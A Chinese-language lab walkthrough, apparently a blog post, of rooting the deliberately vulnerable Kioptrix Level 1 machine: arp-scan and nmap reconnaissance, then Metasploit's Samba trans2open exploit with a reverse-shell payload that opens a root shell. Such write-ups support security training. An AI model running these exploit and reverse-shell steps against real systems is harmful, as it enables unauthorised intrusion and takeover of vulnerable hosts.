Kioptrix Level 1渗透测试

目标:取得靶机的root权限。

1.发现主机

  1. sudo arp-scan -l 扫描本地局域网内所有活跃主机。对比启动靶机前和启动靶机后的结果,确定靶机ip为10.0.2.7。
  2. 此外,可以用ping -c 3 10.0.2.7 向IP地址 10.0.2.7 发送3个ICMP回显请求包,测试与该主机的网络连通性,进一步确认是否为靶机。

ip addr 可以确定本机ip,此时为10.0.2.3

2.端口扫描

  1. nmap -p- 10.0.2.15 扫描靶机全部TCP端口,共65535个,耗时较长。
  2. nmap 10.0.2.15只扫描最常见的1000个TCP端口,速度较快。

nmap(Network Mapper)是网络管理员和渗透测试人员必备的工具,主要用于探索网络、检查安全状况以及识别网络上的设备和服务。

功能分类 描述 示例命令
主机发现 找出网络中有哪些主机在线。 nmap -sn 192.168.1.0/24
端口扫描 找出目标主机上哪些端口是开放的。 nmap 10.0.2.15
版本探测 确定开放端口上运行的是什么软件及其版本号。 nmap -sV 10.0.2.15
操作系统探测 猜测目标主机运行的操作系统。 nmap -O 10.0.2.15

3.端口服务扫描

nmap -p 22,80,111,139,443,32768 -sV 10.0.2.7,对探测到的端口进行版本探测。命令格式:nmap -p[端口,中间用逗号隔开] -sV 靶机ip ,-sV:进行版本探测(Version detection)。

由返回的结果可知,靶机端口版本非常老旧,存在很多漏洞,后面将以Samba作为突破点

4.使用Metasploit framework进行攻击

Metasploit Framework 是一个开源的渗透测试平台,也是目前全球最流行、最强大的网络安全工具之一。它提供了一套完整的工具集,让安全专业人员能够系统地测试和验证系统的安全性。

组件 用途 示例
Modules(模块) 核心功能单元 漏洞利用、载荷、辅助模块等
Payloads(载荷) 攻击成功后执行的代码 反向shell、Meterpreter等
Auxiliary(辅助) 信息收集、扫描等 端口扫描、服务识别等
Exploits(漏洞利用) 利用特定漏洞的代码 MS17-010(永恒之蓝)
Encoders(编码器) 规避防病毒检测 对载荷进行编码混淆
  1. msfconsole启动Metasploit framework
  2. search Samba搜索与Samba服务相关的模块,只用看exploit模块,最后选择exploit/linux/samba/trans2open模块
  3. use exploit/linux/samba/trans2open 启用该模块
  4. info查看该模块信息
  5. set rhosts 10.0.2.7设置目标主机的IP地址
  6. exploit进行攻击,没有成功。

第二次尝试

更换payload,set payload linux/x86/shell_reverse_tcp (原来是linux/x86/meterpreter/reverse_tcp),成功进入并获得root权限。

shell_reverse_tcp:功能非常单一,就是建立一个反向Shell。代码量小,行为简单,稳定可靠。它只是简单地调用 /bin/sh 并将其输入/输出重定向到网络连接。

meterpreter :功能极其丰富。它需要在内存中注入一个复杂的DLL(或Linux下的共享库),建立加密通信,并加载一系列扩展功能模块(文件系统、网络、权限提升等)。任何一个环节出问题(如内存布局不兼容、特定系统调用被拦截、依赖缺失)都可能导致整个Payload失败。

相关推荐
それども3 小时前
忽略Lombok构建警告
java·开发语言·jvm
楠木s3 小时前
ctfshow pwn44
linux·服务器·网络·安全·网络攻击模型·二进制
ajassi20003 小时前
开源 Linux 服务器与中间件(七)数据库--MySQL
linux·服务器·数据库·ubuntu·开源
---学无止境---3 小时前
Linux中页表缓存初始化pgtable_cache_init函数的实现
linux
风为你而吹3 小时前
【玩泰山派】8、泰山派安装armbian,玩armbian
linux
qiuiuiu4134 小时前
正点原子RK3568学习日志12-注册字符设备
linux·开发语言·单片机·学习·ubuntu
liu****4 小时前
20.哈希
开发语言·数据结构·c++·算法·哈希算法
MetaverseMan4 小时前
Java Spring 框架的`@Autowired` 注解 以及依赖注入分析
java·开发语言·spring
迎風吹頭髮4 小时前
Linux服务器编程实践58-getnameinfo函数:通过socket地址获取主机名与服务名
开发语言·数据库·php